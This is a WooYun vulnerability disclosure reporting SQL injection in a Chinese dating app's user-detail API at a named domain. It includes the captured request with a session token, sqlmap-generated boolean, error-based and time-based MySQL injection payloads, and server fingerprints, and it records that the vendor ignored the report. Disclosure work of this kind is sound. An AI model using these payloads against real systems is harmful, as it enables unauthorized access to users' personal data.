当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101198

漏洞标题:某相亲APP SQL注射

相关厂商:亲家

漏洞作者: Neeke

提交时间:2015-03-16 14:54

修复时间:2015-04-30 18:48

公开时间:2015-04-30 18:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-16: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

hi,亲家你好!

详细说明:

亲家:http://skyrole.cn/
下载APP,注册,然后全程抓包,浏览用户详细信息时请求如下:
POST /index.php/home/index/detail_meet HTTP/1.1
Content-Length: 277
Content-Type: multipart/form-data; boundary=_Hw2iEW0WxqGWPdTINAf7ANhmmTks1
Host: skyrole.cn
Connection: Keep-Alive
Accept-Encoding: gzip
--_Hw2iEW0WxqGWPdTINAf7ANhmmTks1
Content-Disposition: form-data; name="token"
136d0f02a27d15ceb04dcef02d5a01fe
--_Hw2iEW0WxqGWPdTINAf7ANhmmTks1
Content-Disposition: form-data; name="userid"
8599
--_Hw2iEW0WxqGWPdTINAf7ANhmmTks1
--_Hw2iEW0WxqGWPdTINAf7ANhmmTks1--
此处userid可注射。

漏洞证明:



sqlmap identified the following injection points with a total of 124 HTTP(s) requests:
---
Parameter: MULTIPART userid ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: --_Hw2iEW0WxqGWPdTINAf7ANhmmTks1
Content-Disposition: form-data; name="token"
136d0f02a27d15ceb04dcef02d5a01fe
--_Hw2iEW0WxqGWPdTINAf7ANhmmTks1
Content-Disposition: form-data; name="userid"
8599 AND 4445=4445
--_Hw2iEW0WxqGWPdTINAf7ANhmmTks1
--_Hw2iEW0WxqGWPdTINAf7ANhmmTks1--
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: --_Hw2iEW0WxqGWPdTINAf7ANhmmTks1
Content-Disposition: form-data; name="token"
136d0f02a27d15ceb04dcef02d5a01fe
--_Hw2iEW0WxqGWPdTINAf7ANhmmTks1
Content-Disposition: form-data; name="userid"
8599 AND (SELECT 3595 FROM(SELECT COUNT(*),CONCAT(0x71716a7871,(SELECT (CASE WHEN (3595=3595) THEN 1 ELSE 0 END)),0x716b716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
--_Hw2iEW0WxqGWPdTINAf7ANhmmTks1
--_Hw2iEW0WxqGWPdTINAf7ANhmmTks1--
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: --_Hw2iEW0WxqGWPdTINAf7ANhmmTks1
Content-Disposition: form-data; name="token"
136d0f02a27d15ceb04dcef02d5a01fe
--_Hw2iEW0WxqGWPdTINAf7ANhmmTks1
Content-Disposition: form-data; name="userid"
8599 AND (SELECT * FROM (SELECT(SLEEP(5)))LoWI)
--_Hw2iEW0WxqGWPdTINAf7ANhmmTks1
--_Hw2iEW0WxqGWPdTINAf7ANhmmTks1--
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5.0

修复方案:

你懂

版权声明:转载请注明来源 Neeke@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论